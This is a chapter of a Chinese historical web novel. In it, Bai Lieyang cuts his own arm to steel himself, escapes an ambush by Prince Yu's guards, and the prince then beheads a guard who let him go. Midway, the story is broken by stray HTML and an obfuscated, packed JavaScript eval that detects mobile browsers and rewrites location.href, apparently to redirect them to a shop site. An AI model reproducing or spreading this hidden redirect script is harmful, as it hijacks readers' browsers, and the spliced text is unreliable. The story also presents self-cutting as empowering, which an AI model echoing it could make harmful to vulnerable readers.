白烈阳决定今夜就行动。他上过战场,知道机会稍纵即逝,慢一步就可能失了先机。
但王爷派在他身边的这几人,个个训练有素身手不凡,他不能掉以轻心。
白烈阳于黑夜中,拿出小刀在自己的大臂上划了一刀。这是他从小到大做惯的。
在他还没行乞到柳西镇时,在下面的小乡子上,每次有乡绅舍粥放粮时,他都会在抢食前,用磨的尖锐的石头在自己的胳膊上划道子,浅破见血即可。
这种疼痛感,可以让他愤怒,充满斗志,身上有使不完的蛮力。而血液的味道,则让他感到兴奋与激动。
靠着这股被短暂激发出的狠劲儿,白烈阳才能在瘦小的儿时抢到食吃,不至于饿死。
这个方法屡屡被他尝试后,往后但凡他面对重要关头,他都会这样,让自己疼,放自己的血。
尤其是在刚刚结束的,对战养岭的那场在所有人眼中没有胜算的战斗中,他也用了这个办法。
明明身下都是倒下的尸体,血味冲天,明明他也受了伤,身上不止一处伤口,他也愤怒,也有斗志,也有一身要冲出去的狠劲儿,但都不及他主动刺自己的那一刀来得强烈、管用。
今时,他又要闯关了,又到了人生的重要关口。白烈阳毫不犹豫,一点不留情地给了自己左臂一刀。
不再像小时候,这次他划得很深。伤口等不及他用布带扎上,血就把整个衣袖都染红了。
白烈阳不在意,他把布带一扎,也不去管血有没有止住,就换上了夜行衣,并给刀把缠上了崭新的白布条。
做好这一切,他深深地吸了口气,混杂着湿泥与青草的,是他血液的味道。
伤口在他粗糙地包扎下,一跳一跳地疼。
白烈阳知道,是时候了。虎口一紧,刀柄被他紧紧地抓在了手里。
出帐,牵马,一气呵成,没有惊动任何人。
但他刚一上马,就感受到了一束凌厉地剑风。他曾领教过这一招,在对方教他时。
他不用回头都知道是右文。
白烈阳偏头俯身,躲了过去。但随后而来的,是铺天盖地地攻击。但他像是长在马上一样,没有让自己掉下去。
一切仿佛回到了在战场上冲出重围的时候,危险又紧急,唯一不同的是,上次这些人是与他并肩作战的,而这次他成了他们的敌人。
白烈阳忽然意识到,他何止是被白莫忧骗了,他也被煜王骗了。
这些人招招致命,并不像是要把他带去王爷那里受审,而是要在这里就定了他的死罪。
右文本想速战速决,但他忘了,上次哈济莫斯也是这么想的,但被白烈阳这个意外坏了事。
白烈阳,就是个异类。
他好像不知道累一样,体能与爆发力,还有身上那股恶狠狠的劲儿,让他看不上不像个人,更像个野兽。
右文这一击,打得并不趁手。不止是因为白烈阳太能拼能打了,还因为跟他一起围击白烈阳的这些人,都没有拼尽全力。
左明就不用说了,他没有反水,助白烈阳逃出去就不错了。剩下的人,他怎么就忘了,他们可是在那场围困战中跟着白烈阳杀出来的。
这些在战场上拼杀过的武人,在那一战之后,或多或少都有点儿拜服白烈阳,不再只拿他当世子看,更多的是拿他真的当了少将军。
右文暗想,王爷还是动晚了,应该在皇上刚封白烈阳为少将军时就除掉他的。
右文明显分心了,白烈阳马上捕捉到了。
白烈阳不是空有一身蛮力,他能被封为将军,可不光是因为他手刃了哈济莫斯,而是他在那三年的战场上,表现出了天生天长的军事天赋。
待右文反应过来,他从马上被白烈阳的刀风扫了下去。好在,他及时回神,加上自身过硬的功底,只见他双手一撑单膝跪地,没有摔到。
而这个意外,给了白烈阳时间。
右文打眼一瞧,只有左明尚能拦住白烈阳,为他再次上马追来,争取到时间。
“拦住他!”右文大声示意左明。
左明出手了,但他明显犹豫了。他就算全力一搏,都不见得能拦住孤注一掷眼睛都红了的白烈阳,更不用提他这一剑本就软得厉害。
白烈阳迅速判断出左明的战力,他也收了两分力,手中的大刀扫过左明的剑。
长剑被大刀挑飞,扎进了远处的树干。
如果白烈阳没收力,这把跟了左明八年的剑会被劈成两半,交待在今日了。
在白烈阳把剑劈飞的同时,他冲刺的速度没有减少一分一毫。他带过的疾风吹动了左明的发带,左明任白烈阳从他身旁飞奔而过,他只垂下眼睫,任右文叫骂,最终什么都没做。
一道马蹄声渐远,一道马蹄声渐近。右文重新上马,路过左明时同样没有停下,只留下一句:“你终是让王爷失望了。”
左明浑身一震,随即肩膀垮了下去。两天后,要求右文把他绑起来的左明,跪在了煜王面前。
煜王正在亲手篆香,他只看了左明一眼,就把注意力重新放回到手头上。
“你和他都超出了我的预期。”说完,煜王有好长时间没再说话。
待他把手中的香铲往桌上一扔,发出“这东西费眼又费时,怎么会喜欢这个”的疑问后,他才再次看向左明。
但话是冲右文说的:“阿文,给他松绑。”
左明羞红着一张脸,满眼愧疚,不让右文给他松开。
煜王见了,起身走了过来,亲自给他解绳子。煜王动作很轻很慢,一边解一边道:“你小时候就比右文怕疼,看这绑的,都紫了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349215|199571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
说话间,绳子松开了。
左明只看了王爷一眼,就深深地低下头去,愧疚压得他抬不起头来。
王爷看他的样子,就像他小时候与右文比武受伤时那样,眼中含笑,满是怜惜。
“再忍一下,就疼一下,我保证。”话落,煜王抄起右手旁边架子上的刀,利落地挥了下去。
左明的头都滚到了地上去,如注的血才喷了出来。如此,右文也没反应过来,被喷了一身一脸。
煜王倒是躲开了,只手上沾了一些,他起身从袖中拿出帕子,两下就擦干净了。
他还递给右文一条新的,看着对方僵硬地接了过去。
“你不是不知道他的结局,你只是不想面对。”煜王一针见血地道出。
右文知道左明必死。
煜王身边的护卫、死士、谋士,很多人都知道白烈阳是假世子,但只有他与左明知道,王爷已经找到了真正的世子殿下,知道殿下是何人,在哪里。
王爷陷在没有保护好世子的愧疚里十几年,就连他看不上的皇位,也是因为能真正让世子一世安稳才要去谋的。
王爷绝不会允许把好不容易找回的儿子,置于暴露的风险中。
所以,知道内情的、没有经过考验的左明,当然留不得。
他知道的,他一直知道的。他只是以为兴许还有一丝机会,尚留一线生机呢。
他说左明天真,原来他也有天真的时候。
右文跪下来:“将军说得是,属下明白。”他表着忠心,他也是真忠心。
煜王:“起来吧,给他找个好地方安葬,他家里你亲自去一趟。”
右文应下后,马上道:“属下向王爷请罪,没有成功截杀了白烈阳。”
煜王:“是我的错,小看了他。无妨,本来这次回京都,就轻松不了,有的是心要操,不多他一个。”
右文下去前,煜王忽然想起什么,叫住了他:“你说,那个白,”
右文:“白莫忧。”
煜王:“那个白莫忧,自请了九杖之刑?她倒是聪明,否则这会儿真的被白烈阳掠走了。不是你给她出的主意吧?”
“属下没有,属下根本想不到,白烈阳第一天就逃了,且让他成功了。”
“依你看,她死的了吗?”
九杖之刑下,十个男子能活下来八,。九个,在煜王看来,换成女子能活下一半就不错了。
说到此处,右文想了起来,他道:“死不了。白烈阳亲自放的水。”
煜王本来是一副闲散的样子,听到这话,才开始过脑。
那个凶兽一般的乞儿,面对下死手背叛了他的人,竟然心软了吗?
他眼波一动,道:“此女你留心一下,除却指认假世子一事,以后说不定,她还有别的用处。”